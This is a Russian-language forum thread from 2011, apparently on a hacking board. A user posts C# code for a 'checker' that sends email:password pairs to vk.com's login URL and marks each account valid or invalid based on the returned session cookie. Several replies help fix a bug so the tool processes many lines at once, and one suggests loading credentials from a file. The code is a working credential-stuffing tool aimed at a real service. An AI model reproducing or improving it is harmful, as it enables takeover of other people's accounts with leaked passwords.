Помогите разобраться с чекером на C#

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by SimBa, 12 Nov 2011.

  1. SimBa

    SimBa Member

    Joined:
    8 Dec 2008
    Messages:
    0
    Likes Received:
    47
    Reputations:
    -11
    Написал чекер на C# работает как надо если в текстбокс вводить по одной строчки аккаунта вида email:pass но если в боксе больше одной строчки то программа зависает и происходит эксепшн. Вобщем сам код:
    PHP:
            public Form1()
            {
                
    InitializeComponent();
                
    emailpass = new List<string>();
            }

            private 
    void start_btn_Click(object senderEventArgs e)
            {
                
    emailpass.Add(mapa_txb.Text);

                foreach (
    string str in emailpass)
                {
                    
    HttpWebRequest httprequest = (HttpWebRequest)HttpWebRequest.Create(GetRequestString(str));
                    
    httprequest.AllowAutoRedirect false;
                    
    headers httprequest.GetResponse().Headers.ToString();
                    
    RegularExp(headers);
                }
            }

            public 
    string GetRequestString(string mailpass)
            {
                
    mp mailpass.Split(':');
                
    mail mp[0];
                
    pass mp[1];
                
    string requeststr "http://vk.com/login.php?m=1&email=" mail "&pass=" pass;
                return 
    requeststr;
            }

            public 
    void RegularExp(string head)
            {
                
    Regex regex = new Regex("remixsid=([0-9a-z]+)");
                
    Match match regex.Match(head);
                
    sid match.Groups[1].Value;

                if (
    String.IsNullOrEmpty(sid))
                    
    log_txb.SelectedText mail ":" pass " - Невалид";

                else
                    
    log_txb.SelectedText mail ":" pass;
            }
        }
    }
    Строчка где происходит эксепшн:
    PHP:
    headers httprequest.GetResponse().Headers.ToString();
    Превышено время ожидания
     
    #1 SimBa, 12 Nov 2011
    Last edited: 12 Nov 2011
  2. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    Не совсем понял что тебе надо - если ты хочешь вводить вручную мыло и пароль - то используй Listbox и используй не List<string>, а например:

    internal class MyMailAndPass
    {
    public string Mail { get; set;}
    public string Pass { get; set }

    }

    List<MyMailAndPass> ContentList = new List<MyMailAndPass> ();

    Впринципе вместо Listbox можно использовать и 2 textBox вяжи на них кнопку, например Submit, при нажатии на неё:

    if((textBox1.Text.Replace(" ","").Length >6)&&(textBox2.Text.Replace(" ","").Length >3))
    ContentList.Add( new MyMailAndPass {Mail = textBox1.Text, Pass = textBox2.Text});

    Ну естественно, что в if ты можешь сделать любые правила.

    Но мне кажется что лучше сделать файл с мыло и паролями, с которого их просто считывать.Однако, насколько я понял ты хотел реализовать именно ручной ввод мыло и пасса.
    С регулярками при простом мануальном вводе я бы не стал работать - не вижу смысла.

    P.S. уточни Exception, что вылетает. NullReference например, или другая.
     
    #2 Spot, 12 Nov 2011
    Last edited: 12 Nov 2011
  3. zORG

    zORG New Member

    Joined:
    5 Jun 2010
    Messages:
    44
    Likes Received:
    2
    Reputations:
    0
    PHP:
    emailpass = new List<string>();
    ...
    emailpass.Add(mapa_txb.Text); 
    foreach (
    string str in emailpass
    {
    ...
    }
    ты вообще понимаешь что делает этот код?

    emailpass.Add(mapa_txb.Text);
    ты добавляешь сразу весь список емайлов и паролей
    в 1 элемент списка.
    какой может быть foreach, если у тебя в списке 1 элемент?
    освой дебагер в вижуал студии и просматривай выполнение проги построчно и значения переменных.

    тебе сначала надо текст в текстбоксе разделить на строки и уже потом для каждой строки сделать
    Code:
    emailpass.Add(тут строка из текстбокса, а не весь текстбокс сразу);
     
    1 person likes this.
  4. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    с List'ом не правильно работаешь...
    из тектбокса нужно по строчно добавлять в лист, а ты сразу весь текстбох загнал в один элемент
     
  5. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    Uri имеет свою конечную длину, для каждого сервера она может быть разной длины - по всей видимости сервере ВК отдает 500 ошибку вот и выпадает в экспешен.
    По сабжу в Ctor List передать Lines:
     
  6. SimBa

    SimBa Member

    Joined:
    8 Dec 2008
    Messages:
    0
    Likes Received:
    47
    Reputations:
    -11
    Спасибо всем, разобрался
     
  7. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    код выкладывай, чтобы остальные не споткнулись об одни и те же грабли...
     
  8. SimBa

    SimBa Member

    Joined:
    8 Dec 2008
    Messages:
    0
    Likes Received:
    47
    Reputations:
    -11
    выше выложили код который помог, второй раз смысл повторять его?